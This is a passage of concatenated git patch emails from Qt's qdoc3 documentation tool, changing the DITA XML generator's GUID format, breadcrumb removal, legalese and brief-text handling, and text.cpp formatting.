    } } else if (fake->subType() == Node::HeaderFile) { generateStatus(fake, marker); - xmlWriter().writeStartElement("ul"); - QString membersLink = generateListOfAllMemberFile(fake, marker); - if (!membersLink.isEmpty()) { - writeXrefListItem(membersLink,"List of all members, including inherited members"); - } - QString obsoleteLink = generateLowStatusMemberFile(fake, marker, CodeMarker::Obsolete); - if (!obsoleteLink.isEmpty()) { - writeXrefListItem(obsoleteLink,"Obsolete members"); - } - QString compatLink = generateLowStatusMemberFile(fake, marker, CodeMarker::Compat); - if (!compatLink.isEmpty()) { - writeXrefListItem(compatLink,"Qt 3 support members"); - } - xmlWriter().writeEndElement(); // + if (!membersLink.isEmpty() || !obsoleteLink.isEmpty() || !compatLink.isEmpty()) { + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("outputclass","member-lists"); + xmlWriter().writeStartElement("ul"); + if (!membersLink.isEmpty()) { + writeXrefListItem(membersLink,"List of all members, including inherited members"); + } + if (!obsoleteLink.isEmpty()) { + writeXrefListItem(obsoleteLink,"Obsolete members"); + } + if (!compatLink.isEmpty()) { + writeXrefListItem(compatLink,"Qt 3 support members"); + } + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); //
    + } } else if (fake->subType() == Node::QmlClass) { const QmlClassNode* qml_cn = static_cast(fake); const ClassNode* cn = qml_cn->classNode(); - generateQmlInherits(qml_cn, marker); + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("outputclass","apidesc"); generateQmlInstantiates(qml_cn, marker); - generateBrief(qml_cn, marker); + generateQmlInherits(qml_cn, marker); generateQmlInheritedBy(qml_cn, marker); + xmlWriter().writeEndElement(); //
    sections = marker->qmlSections(qml_cn,CodeMarker::Summary,0); s = sections.begin(); while (s != sections.end()) { @@ -1981,6 +1998,7 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker } ++s; } + xmlWriter().writeEndElement(); // return; } @@ -1988,7 +2006,6 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker if (fake->subType() == Node::File) { Text text; Quoter quoter; - xmlWriter().writeStartElement("body"); xmlWriter().writeStartElement("p"); xmlWriter().writeAttribute("outputclass", "small-subtitle"); text << fake->subTitle(); @@ -1999,11 +2016,9 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker text.clear(); text << Atom(Atom::Code, code); generateText(text, fake, marker); - xmlWriter().writeEndElement(); // } } else { - xmlWriter().writeStartElement("body"); if (fake->subType() == Node::Module) { writeDetailedDescription(fake, marker, false, QString("Detailed Description")); } @@ -2019,8 +2034,8 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker } generateAnnotatedList(fake, marker, groupMembersMap); } - xmlWriter().writeEndElement(); // } + xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); // } @@ -2219,13 +2234,13 @@ void DitaXmlGenerator::generateHeader(const Node* node, case Node::File: outputclass = "file"; break; - case Node::Image: + case Node::Image: // not used outputclass = "image"; break; case Node::Module: outputclass = "module"; break; - case Node::ExternalPage: + case Node::ExternalPage: // not used outputclass = "externalpage"; break; case Node::QmlClass: @@ -2261,9 +2276,9 @@ void DitaXmlGenerator::generateHeader(const Node* node, xmlWriter().writeAttribute("id",node->guid()); if (!outputclass.isEmpty()) xmlWriter().writeAttribute("outputclass",outputclass); - xmlWriter().writeStartElement(nameElement); + xmlWriter().writeStartElement(nameElement); // or <apiName> xmlWriter().writeCharacters(name); - xmlWriter().writeEndElement(); // <nameElement> + xmlWriter().writeEndElement(); // or } /*! -- cgit v0.12 From 410f203fd3542af182a6fe4406cc5094b65a90f8 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 18 Oct 2010 13:22:40 +0200 Subject: qdoc: Changed GUIDs from "{xxxxxx}" to "id-xxxxxxx". --- tools/qdoc3/ditaxmlgenerator.cpp | 25 ++++--------------------- tools/qdoc3/ditaxmlgenerator.h | 3 --- tools/qdoc3/htmlgenerator.cpp | 1 + tools/qdoc3/node.cpp | 16 +++++++++------- tools/qdoc3/node.h | 5 ++--- 5 files changed, 16 insertions(+), 34 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 42f6d1d..9108d7b 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -559,7 +559,8 @@ QString DitaXmlGenerator::lookupGuid(QString text) QMap::const_iterator i = name2guidMap.find(text); if (i != name2guidMap.end()) return i.value(); - QString guid = QUuid::createUuid().toString(); + QString t = QUuid::createUuid().toString(); + QString guid = "id-" + t.mid(1,t.length()-2); name2guidMap.insert(text,guid); return guid; } @@ -578,7 +579,8 @@ QString DitaXmlGenerator::lookupGuid(const QString& fileName, const QString& tex GuidMap::const_iterator i = gm->find(text); if (i != gm->end()) return i.value(); - QString guid = QUuid::createUuid().toString(); + QString t = QUuid::createUuid().toString(); + QString guid = "id-" + t.mid(1,t.length()-2); gm->insert(text,guid); return guid; } @@ -1840,25 +1842,6 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark } /*! - Write a paragraph for the \a target and a poaragraph for - the \a header. Use the \a attribute for the \a header. - */ -void DitaXmlGenerator::writeTargetAndHeader(const QString& target, - const QString& header, - const QString& attribute) -{ - xmlWriter().writeStartElement("p"); - writeGuidAttribute(registerRef(target)); - xmlWriter().writeAttribute("outputclass","target"); - xmlWriter().writeCharacters(header); - xmlWriter().writeEndElement(); //

    - xmlWriter().writeStartElement("p"); - xmlWriter().writeAttribute("outputclass",attribute); - xmlWriter().writeCharacters(header); - xmlWriter().writeEndElement(); //

    -} - -/*! Write a list item for a \a link with the given \a text. */ void DitaXmlGenerator::writeXrefListItem(const QString& link, const QString& text) diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index c0cb0db..e564f58 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -108,9 +108,6 @@ class DitaXmlGenerator : public PageGenerator virtual QString linkForNode(const Node* node, const Node* relative); virtual QString refForAtom(Atom* atom, const Node* node); - void writeTargetAndHeader(const QString& target, - const QString& header, - const QString& attribute); void writeXrefListItem(const QString& link, const QString& text); QString fullQualification(const Node* n); diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index 726196f..19b86e0 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -56,6 +56,7 @@ #include #include #include +#include QT_BEGIN_NAMESPACE diff --git a/tools/qdoc3/node.cpp b/tools/qdoc3/node.cpp index ce53b86..f4736f3 100644 --- a/tools/qdoc3/node.cpp +++ b/tools/qdoc3/node.cpp @@ -46,6 +46,7 @@ #include "node.h" #include "tree.h" #include "codemarker.h" +#include #include QT_BEGIN_NAMESPACE @@ -103,7 +104,6 @@ Node::Node(Type type, InnerNode *parent, const QString& name) { if (par) par->addChild(this); - //uuid = QUuid::createUuid(); } /*! @@ -270,14 +270,16 @@ QString Node::fileBase() const } /*! - Returns this node's Universally Unique IDentifier. - If its UUID has not yet been created, it is created - first. + Returns this node's Universally Unique IDentifier as a + QString. Creates the UUID first, if it has not been created. */ -QUuid Node::guid() const +QString Node::guid() const { - if (uuid.isNull()) - uuid = QUuid::createUuid(); + if (uuid.isEmpty()) { + QUuid quuid = QUuid::createUuid(); + QString t = quuid.toString(); + uuid = "id-" + t.mid(1,t.length()-2); + } return uuid; } diff --git a/tools/qdoc3/node.h b/tools/qdoc3/node.h index 40b78ef..0b493ee 100644 --- a/tools/qdoc3/node.h +++ b/tools/qdoc3/node.h @@ -55,7 +55,6 @@ #include "doc.h" #include "location.h" #include "text.h" -#include QT_BEGIN_NAMESPACE @@ -191,7 +190,7 @@ class Node void clearRelated() { rel = 0; } virtual QString fileBase() const; - QUuid guid() const; + QString guid() const; QString ditaXmlHref(); QString extractClassName(const QString &string) const; @@ -223,7 +222,7 @@ class Node QString u; QString sinc; QString tpl; - mutable QUuid uuid; + mutable QString uuid; }; class FunctionNode; -- cgit v0.12 From 8f3e9dc22c5d4d72984473139d2c9a382c79b963 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 18 Oct 2010 14:35:04 +0200 Subject: qdoc: Added extraneous enum Definition File elements Removed bread crumb generator from DITA XML generator. --- tools/qdoc3/ditaxmlgenerator.cpp | 168 +++++---------------------------------- tools/qdoc3/ditaxmlgenerator.h | 3 - 2 files changed, 21 insertions(+), 150 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 9108d7b..b69f511 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -2022,60 +2022,6 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker xmlWriter().writeEndElement(); // } -#if 0 -zzz - /* - Generate the TOC for the new doc format. - Don't generate a TOC for the home page. - */ - if (fake->name() != QString("index.html")) - generateTableOfContents(fake,marker,0); - - generateTitle(fullTitle, - Text() << fake->subTitle(), - subTitleSize, - fake, - marker); - - -#endif - -#if 0 -zzz - sections = marker->sections(fake, CodeMarker::Summary, CodeMarker::Okay); - s = sections.begin(); - while (s != sections.end()) { - out() << "\n"; - out() << "

    " << protectEnc((*s).name) << "

    \n"; - generateSection(s->members, fake, marker, CodeMarker::Summary); - generateSectionInheritedList(*s, relative, marker, name_alignment); - ++s; - } - - Text brief = fake->doc().briefText(); - if (fake->subType() == Node::Module && !brief.isEmpty()) { - out() << "\n"; - out() << "
    \n"; // QTBUG-9504 - out() << "

    " << "Detailed Description" << "

    \n"; - } - else - out() << "
    \n"; // QTBUG-9504 - - sections = marker->sections(fake, CodeMarker::Detailed, CodeMarker::Okay); - s = sections.begin(); - while (s != sections.end()) { - out() << "
    \n"; - out() << "

    " << protectEnc((*s).name) << "

    \n"; - - NodeList::ConstIterator m = (*s).members.begin(); - while (m != (*s).members.end()) { - generateDetailedMember(*m, fake, marker); - ++m; - } - ++s; - } -#endif - /*! Returns "xml" for this subclass of class Generator. */ @@ -2085,95 +2031,6 @@ QString DitaXmlGenerator::fileExtension(const Node * /* node */) const } /*! - zzz - Output breadcrumb list in the html file. - */ -void DitaXmlGenerator::generateBreadCrumbs(const QString& title, - const Node *node, - CodeMarker *marker) -{ - Text breadcrumb; - if (node->type() == Node::Class) { - const ClassNode* cn = static_cast(node); - QString name = node->moduleName(); - out() << "
  • All Modules
  • "; - if (!name.isEmpty()) { - out() << "
  • "; - breadcrumb << Atom(Atom::AutoLink,name); - generateText(breadcrumb, node, marker); - out() << "
  • \n"; - } - breadcrumb.clear(); - if (!cn->name().isEmpty()) { - out() << "
  • "; - breadcrumb << Atom(Atom::AutoLink,cn->name()); - generateText(breadcrumb, 0, marker); - out() << "
  • \n"; - } - } - else if (node->type() == Node::Fake) { - const FakeNode* fn = static_cast(node); - if (node->subType() == Node::Module) { - out() << "
  • All Modules
  • "; - QString name = node->name(); - if (!name.isEmpty()) { - out() << "
  • "; - breadcrumb << Atom(Atom::AutoLink,name); - generateText(breadcrumb, 0, marker); - out() << "
  • \n"; - } - } - else if (node->subType() == Node::Group) { - if (fn->name() == QString("modules")) - out() << "
  • All Modules
  • "; - else { - out() << "
  • name() << "\">" << title - << "
  • "; - } - } - else if (node->subType() == Node::Page) { - if (fn->name() == QString("examples.html")) { - out() << "
  • Examples
  • "; - } - else if (fn->name().startsWith("examples-")) { - out() << "
  • Examples
  • "; - out() << "
  • name() << "\">" << title - << "
  • "; - } - else if (fn->name() == QString("namespaces.html")) { - out() << "
  • All Namespaces
  • "; - } - else { - out() << "
  • name() << "\">" << title - << "
  • "; - } - } - else if (node->subType() == Node::QmlClass) { - out() << "
  • QML Elements
  • "; - out() << "
  • name() << "\">" << title - << "
  • "; - } - else if (node->subType() == Node::Example) { - out() << "
  • Examples
  • "; - QStringList sl = fn->name().split('/'); - QString name = "examples-" + sl.at(0) + ".html"; - QString t = CodeParser::titleFromName(name); - out() << "
  • " - << t << "
  • "; - out() << "
  • " - << title << "
  • "; - } - } - else if (node->type() == Node::Namespace) { - const NamespaceNode* nsn = static_cast(node); - out() << "
  • All Namespaces
  • "; - out() << "
  • " << title - << "
  • "; - } -} - -/*! Writes an XML file header to the current XML stream. This depends on which kind of DITA XML file is being generated, which is determined by the \a node type and subtype and the @@ -4683,7 +4540,7 @@ void DitaXmlGenerator::writeDerivations(const ClassNode* cn, CodeMarker* marker) */ void DitaXmlGenerator::writeLocation(const Node* n) { - QString s1, s2, s3; + QString s1, s2, s3, s4, s5, s6; if (n->type() == Node::Class || n->type() == Node::Namespace) { s1 = CXXCLASSAPIITEMLOCATION; s2 = CXXCLASSDECLARATIONFILE; @@ -4698,6 +4555,9 @@ void DitaXmlGenerator::writeLocation(const Node* n) s1 = CXXENUMERATIONAPIITEMLOCATION; s2 = CXXENUMERATIONDECLARATIONFILE; s3 = CXXENUMERATIONDECLARATIONFILELINE; + s4 = CXXENUMERATIONDEFINITIONFILE; + s5 = CXXENUMERATIONDEFINITIONFILELINESTART; + s6 = CXXENUMERATIONDEFINITIONFILELINEEND; } else if (n->type() == Node::Typedef) { s1 = CXXTYPEDEFAPIITEMLOCATION; @@ -4720,9 +4580,23 @@ void DitaXmlGenerator::writeLocation(const Node* n) QString lineNr; xmlWriter().writeAttribute("value",lineNr.setNum(n->location().lineNo())); xmlWriter().writeEndElement(); // DeclarationFileLine> - - // not included: , , - // and + if (!s4.isEmpty()) { // zzz This stuff is temporary, I think. + xmlWriter().writeStartElement(s4); + xmlWriter().writeAttribute("name","filePath"); + xmlWriter().writeAttribute("value",n->location().filePath()); + xmlWriter().writeEndElement(); // DefinitionFile> + xmlWriter().writeStartElement(s5); + xmlWriter().writeAttribute("name","lineNumber"); + xmlWriter().writeAttribute("value",lineNr.setNum(n->location().lineNo())); + xmlWriter().writeEndElement(); // DefinitionFileLineStart> + xmlWriter().writeStartElement(s6); + xmlWriter().writeAttribute("name","lineNumber"); + xmlWriter().writeAttribute("value",lineNr.setNum(n->location().lineNo())); + xmlWriter().writeEndElement(); // DefinitionFileLineEnd> + } + + // not included: , , + // and xmlWriter().writeEndElement(); // ApiItemLocation> } diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index e564f58..30c398b 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -133,9 +133,6 @@ class DitaXmlGenerator : public PageGenerator const Node* relative, CodeMarker* marker, const Atom* atom = 0); - void generateBreadCrumbs(const QString& title, - const Node* node, - CodeMarker* marker); void generateHeader(const Node* node, const QString& name, bool subpage = false); -- cgit v0.12 From c004bfbfcdb5110ae1545e013ca555a9f4b75337 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 18 Oct 2010 15:26:33 +0200 Subject: qdoc: Fixed

    inside of

    for legalese text. --- tools/qdoc3/ditaxmlgenerator.cpp | 22 ++++++++++++++++------ tools/qdoc3/ditaxmlgenerator.h | 1 + 2 files changed, 17 insertions(+), 6 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index b69f511..27f36ff 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -64,6 +64,7 @@ int DitaXmlGenerator::id = 0; bool DitaXmlGenerator::inApiDesc = false; bool DitaXmlGenerator::inSection = false; bool DitaXmlGenerator::inDetailedDescription = false; +bool DitaXmlGenerator::inLegaleseText = false; #define cxxapi_d_xref Doc::alias("cxxapi-d-xref") #define cxxclass Doc::alias("cxxclass") @@ -1122,11 +1123,10 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, // nothing break; case Atom::LegaleseLeft: - xmlWriter().writeStartElement("p"); - xmlWriter().writeAttribute("outputclass","legalese"); + inLegaleseText = true; break; case Atom::LegaleseRight: - xmlWriter().writeEndElement(); //

    + inLegaleseText = false; break; case Atom::LineBreak: xmlWriter().writeEmptyElement("br"); @@ -1309,6 +1309,8 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, break; case Atom::ParaLeft: xmlWriter().writeStartElement("p"); + if (inLegaleseText) + xmlWriter().writeAttribute("outputclass","legalese"); in_para = true; break; case Atom::ParaRight: @@ -4547,9 +4549,17 @@ void DitaXmlGenerator::writeLocation(const Node* n) s3 = CXXCLASSDECLARATIONFILELINE; } else if (n->type() == Node::Function) { - s1 = CXXFUNCTIONAPIITEMLOCATION; - s2 = CXXFUNCTIONDECLARATIONFILE; - s3 = CXXFUNCTIONDECLARATIONFILELINE; + FunctionNode* fn = const_cast(static_cast(n)); + if (fn->isMacro()) { + s1 = CXXDEFINEAPIITEMLOCATION; + s2 = CXXDEFINEDECLARATIONFILE; + s3 = CXXDEFINEDECLARATIONFILELINE; + } + else { + s1 = CXXFUNCTIONAPIITEMLOCATION; + s2 = CXXFUNCTIONDECLARATIONFILE; + s3 = CXXFUNCTIONDECLARATIONFILELINE; + } } else if (n->type() == Node::Enum) { s1 = CXXENUMERATIONAPIITEMLOCATION; diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 30c398b..0a9fc4a 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -308,6 +308,7 @@ class DitaXmlGenerator : public PageGenerator static bool inApiDesc; static bool inSection; static bool inDetailedDescription; + static bool inLegaleseText; QStack xmlWriterStack; }; -- cgit v0.12 From c0836f9101f48c3c37ea477c66c49fd3dc08dfb5 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 20 Oct 2010 12:36:14 +0200 Subject: qdoc: Fixed some DITA XML validation errors. --- tools/qdoc3/ditaxmlgenerator.cpp | 66 ++++++++++--------- tools/qdoc3/doc.cpp | 4 +- tools/qdoc3/doc.h | 2 +- tools/qdoc3/text.cpp | 136 ++++++++++++++++++++------------------- tools/qdoc3/text.h | 2 +- 5 files changed, 108 insertions(+), 102 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 27f36ff..668d6ed 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -337,8 +337,6 @@ bool DitaXmlGenerator::inLegaleseText = false; #define APIMAP Doc::alias("apiMap") #define APIITEMREF Doc::alias("apiItemRef") -#define SHORTDESC Doc::alias("shortdesc") - QString DitaXmlGenerator::sinceTitles[] = { " New Namespaces", @@ -677,7 +675,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, CodeMarker *marker) { int skipAhead = 0; - QString hx; + QString hx, str; static bool in_para = false; QString guid, hc; @@ -710,30 +708,20 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, skipAhead = skipAtoms(atom, Atom::BriefRight); break; } - if (inApiDesc || inSection) + if (inApiDesc || inSection) { xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","brief"); + } else { noLinks = true; - xmlWriter().writeStartElement(SHORTDESC); + xmlWriter().writeStartElement("shortdesc"); } if (relative->type() == Node::Property || relative->type() == Node::Variable) { - QString str; - atom = atom->next(); - while (atom != 0 && atom->type() != Atom::BriefRight) { - if (atom->type() == Atom::String || - atom->type() == Atom::AutoLink) - str += atom->string(); - skipAhead++; - atom = atom->next(); - } - str[0] = str[0].toLower(); - if (str.right(1) == ".") - str.truncate(str.length() - 1); xmlWriter().writeCharacters("This "); if (relative->type() == Node::Property) xmlWriter().writeCharacters("property"); - else + else if (relative->type() == Node::Variable) xmlWriter().writeCharacters("variable"); QStringList words = str.split(" "); if (!(words.first() == "contains" || words.first() == "specifies" @@ -742,14 +730,27 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeCharacters(" holds "); else xmlWriter().writeCharacters(" "); + } + if (noLinks) { + atom = atom->next(); + while (atom != 0 && atom->type() != Atom::BriefRight) { + if (atom->type() == Atom::String || + atom->type() == Atom::AutoLink) + str += atom->string(); + skipAhead++; + atom = atom->next(); + } + str[0] = str[0].toLower(); + if (str.right(1) == ".") + str.truncate(str.length() - 1); + str[0] = str[0].toUpper(); xmlWriter().writeCharacters(str + "."); } break; case Atom::BriefRight: - if (relative->type() != Node::Fake) { + if (relative->type() != Node::Fake) xmlWriter().writeEndElement(); // or

    - noLinks = false; - } + noLinks = false; break; case Atom::C: xmlWriter().writeStartElement(formattingLeftMap()[ATOM_FORMATTING_TELETYPE]); @@ -1141,8 +1142,13 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, .arg(marker->plainFullName(relative))); } #if 0 - else - qDebug() << "MYLINK:" << myLink << outFileName();; + else if (noLinks) { + //xmlWriter().writeCharacters(atom->string()); + qDebug() << "MYLINK:" << myLink << outFileName() << atom->string(); + } + else { + beginLink(myLink, node, relative, marker); + } #endif beginLink(myLink, node, relative, marker); skipAhead = 1; @@ -1556,7 +1562,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark xmlWriter().writeStartElement(APIDESC); xmlWriter().writeAttribute("spectitle",title); - Text brief = nsn->doc().briefText(); + Text brief = nsn->doc().briefText(); // zzz if (!brief.isEmpty()) { xmlWriter().writeStartElement("p"); generateText(brief, nsn, marker); @@ -1713,7 +1719,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark xmlWriter().writeStartElement(APIDESC); xmlWriter().writeAttribute("spectitle",title); - Text brief = cn->doc().briefText(); + Text brief = cn->doc().briefText(); // zzz if (!brief.isEmpty()) { xmlWriter().writeStartElement("p"); generateText(brief, cn, marker); @@ -2107,7 +2113,7 @@ void DitaXmlGenerator::generateHeader(const Node* node, dtd = "dtd/cxxClass.dtd"; version = "0.6.0"; doctype = ""; outputclass = "namespace"; } @@ -2160,13 +2166,9 @@ void DitaXmlGenerator::generateTitle(const QString& title, */ void DitaXmlGenerator::generateBrief(const Node* node, CodeMarker* marker) { - Text brief = node->doc().briefText(); + Text brief = node->doc().briefText(true); // zzz if (!brief.isEmpty()) { - noLinks = true; - xmlWriter().writeStartElement(SHORTDESC); generateText(brief, node, marker); - xmlWriter().writeEndElement(); // - noLinks = false; } } @@ -2613,7 +2615,7 @@ void DitaXmlGenerator::generateAnnotatedList(const Node* relative, else { xmlWriter().writeStartElement("entry"); xmlWriter().writeStartElement("p"); - xmlWriter().writeCharacters(protectEnc(node->doc().briefText().toString())); + xmlWriter().writeCharacters(protectEnc(node->doc().briefText().toString())); // zzz xmlWriter().writeEndElement(); //

    xmlWriter().writeEndElement(); // } diff --git a/tools/qdoc3/doc.cpp b/tools/qdoc3/doc.cpp index 280f055..5adb282 100644 --- a/tools/qdoc3/doc.cpp +++ b/tools/qdoc3/doc.cpp @@ -2621,9 +2621,9 @@ const Text& Doc::body() const return priv == 0 ? dummy : priv->text; } -Text Doc::briefText() const +Text Doc::briefText(bool inclusive) const { - return body().subText(Atom::BriefLeft, Atom::BriefRight); + return body().subText(Atom::BriefLeft, Atom::BriefRight, 0, inclusive); } Text Doc::trimmedBriefText(const QString &className) const diff --git a/tools/qdoc3/doc.h b/tools/qdoc3/doc.h index 3e76456..cf93151 100644 --- a/tools/qdoc3/doc.h +++ b/tools/qdoc3/doc.h @@ -100,7 +100,7 @@ class Doc bool isEmpty() const; const QString& source() const; const Text& body() const; - Text briefText() const; + Text briefText(bool inclusive = false) const; Text trimmedBriefText(const QString &className) const; Text legaleseText() const; const QString& baseName() const; diff --git a/tools/qdoc3/text.cpp b/tools/qdoc3/text.cpp index 11d7edd..ecec5eb 100644 --- a/tools/qdoc3/text.cpp +++ b/tools/qdoc3/text.cpp @@ -60,10 +60,10 @@ Text::Text(const QString &str) operator<<(str); } -Text::Text( const Text& text ) +Text::Text(const Text& text) : first(0), last(0) { - operator=( text ); + operator=(text); } Text::~Text() @@ -71,41 +71,41 @@ Text::~Text() clear(); } -Text& Text::operator=( const Text& text ) +Text& Text::operator=(const Text& text) { - if ( this != &text ) { + if (this != &text) { clear(); - operator<<( text ); + operator<<(text); } return *this; } -Text& Text::operator<<( Atom::Type atomType ) +Text& Text::operator<<(Atom::Type atomType) { - return operator<<( Atom(atomType) ); + return operator<<(Atom(atomType)); } -Text& Text::operator<<( const QString& string ) +Text& Text::operator<<(const QString& string) { - return operator<<( Atom(Atom::String, string) ); + return operator<<(Atom(Atom::String, string)); } -Text& Text::operator<<( const Atom& atom ) +Text& Text::operator<<(const Atom& atom) { - if ( first == 0 ) { - first = new Atom( atom.type(), atom.string() ); + if (first == 0) { + first = new Atom(atom.type(), atom.string()); last = first; } else { - last = new Atom( last, atom.type(), atom.string() ); + last = new Atom(last, atom.type(), atom.string()); } return *this; } -Text& Text::operator<<( const Text& text ) +Text& Text::operator<<(const Text& text) { - const Atom *atom = text.firstAtom(); - while ( atom != 0 ) { - operator<<( *atom ); + const Atom* atom = text.firstAtom(); + while (atom != 0) { + operator<<(*atom); atom = atom->next(); } return *this; @@ -113,10 +113,10 @@ Text& Text::operator<<( const Text& text ) void Text::stripFirstAtom() { - if ( first != 0 ) { - if ( first == last ) + if (first != 0) { + if (first == last) last = 0; - Atom *oldFirst = first; + Atom* oldFirst = first; first = first->next(); delete oldFirst; } @@ -124,16 +124,16 @@ void Text::stripFirstAtom() void Text::stripLastAtom() { - if ( last != 0 ) { - Atom *oldLast = last; - if ( first == last ) { + if (last != 0) { + Atom* oldLast = last; + if (first == last) { first = 0; last = 0; } else { last = first; - while ( last->next() != oldLast ) + while (last->next() != oldLast) last = last->next(); - last->setNext( 0 ); + last->setNext(0); } delete oldLast; } @@ -142,9 +142,9 @@ void Text::stripLastAtom() QString Text::toString() const { QString str; - const Atom *atom = firstAtom(); - while ( atom != 0 ) { - if ( atom->type() == Atom::String || + const Atom* atom = firstAtom(); + while (atom != 0) { + if (atom->type() == Atom::String || atom->type() == Atom::AutoLink || atom->type() == Atom::GuidLink) str += atom->string(); @@ -153,50 +153,54 @@ QString Text::toString() const return str; } -Text Text::subText( Atom::Type left, Atom::Type right, const Atom *from ) const +Text Text::subText(Atom::Type left, Atom::Type right, const Atom* from, bool inclusive) const { - const Atom *begin = from ? from : firstAtom(); - const Atom *end; + const Atom* begin = from ? from : firstAtom(); + const Atom* end; - while ( begin != 0 && begin->type() != left ) - begin = begin->next(); - if ( begin != 0 ) + while (begin != 0 && begin->type() != left) begin = begin->next(); + if (begin != 0) { + if (!inclusive) + begin = begin->next(); + } end = begin; - while ( end != 0 && end->type() != right ) + while (end != 0 && end->type() != right) end = end->next(); - if ( end == 0 ) + if (end == 0) begin = 0; - return subText( begin, end ); + else if (inclusive) + end = end->next(); + return subText(begin, end); } -Text Text::sectionHeading(const Atom *sectionLeft) +Text Text::sectionHeading(const Atom* sectionLeft) { - if ( sectionLeft != 0 ) { - const Atom *begin = sectionLeft; - while ( begin != 0 && begin->type() != Atom::SectionHeadingLeft ) + if (sectionLeft != 0) { + const Atom* begin = sectionLeft; + while (begin != 0 && begin->type() != Atom::SectionHeadingLeft) begin = begin->next(); - if ( begin != 0 ) + if (begin != 0) begin = begin->next(); - const Atom *end = begin; - while ( end != 0 && end->type() != Atom::SectionHeadingRight ) + const Atom* end = begin; + while (end != 0 && end->type() != Atom::SectionHeadingRight) end = end->next(); - if ( end != 0 ) - return subText( begin, end ); + if (end != 0) + return subText(begin, end); } return Text(); } -const Atom *Text::sectionHeadingAtom(const Atom *sectionLeft) +const Atom* Text::sectionHeadingAtom(const Atom* sectionLeft) { - if ( sectionLeft != 0 ) { - const Atom *begin = sectionLeft; - while ( begin != 0 && begin->type() != Atom::SectionHeadingLeft ) + if (sectionLeft != 0) { + const Atom* begin = sectionLeft; + while (begin != 0 && begin->type() != Atom::SectionHeadingLeft) begin = begin->next(); - if ( begin != 0 ) + if (begin != 0) begin = begin->next(); return begin; @@ -206,25 +210,25 @@ const Atom *Text::sectionHeadingAtom(const Atom *sectionLeft) void Text::dump() const { - const Atom *atom = firstAtom(); - while ( atom != 0 ) { + const Atom* atom = firstAtom(); + while (atom != 0) { QString str = atom->string(); - str.replace( "\\", "\\\\" ); - str.replace( "\"", "\\\"" ); - str.replace( "\n", "\\n" ); - str.replace( QRegExp("[^\x20-\x7e]"), "?" ); - if ( !str.isEmpty() ) + str.replace("\\", "\\\\"); + str.replace("\"", "\\\""); + str.replace("\n", "\\n"); + str.replace(QRegExp("[^\x20-\x7e]"), "?"); + if (!str.isEmpty()) str = " \"" + str + "\""; - fprintf(stderr, " %-15s%s\n", atom->typeString().toLatin1().data(), str.toLatin1().data() ); + fprintf(stderr, " %-15s%s\n", atom->typeString().toLatin1().data(), str.toLatin1().data()); atom = atom->next(); } } -Text Text::subText( const Atom *begin, const Atom *end ) +Text Text::subText(const Atom* begin, const Atom* end) { Text text; - if ( begin != 0 ) { - while ( begin != end ) { + if (begin != 0) { + while (begin != end) { text << *begin; begin = begin->next(); } @@ -234,8 +238,8 @@ Text Text::subText( const Atom *begin, const Atom *end ) void Text::clear() { - while ( first != 0 ) { - Atom *atom = first; + while (first != 0) { + Atom* atom = first; first = first->next(); delete atom; } @@ -250,8 +254,8 @@ int Text::compare(const Text &text1, const Text &text2) if (text2.isEmpty()) return 1; - const Atom *atom1 = text1.firstAtom(); - const Atom *atom2 = text2.firstAtom(); + const Atom* atom1 = text1.firstAtom(); + const Atom* atom2 = text2.firstAtom(); for (;;) { if (atom1->type() != atom2->type()) diff --git 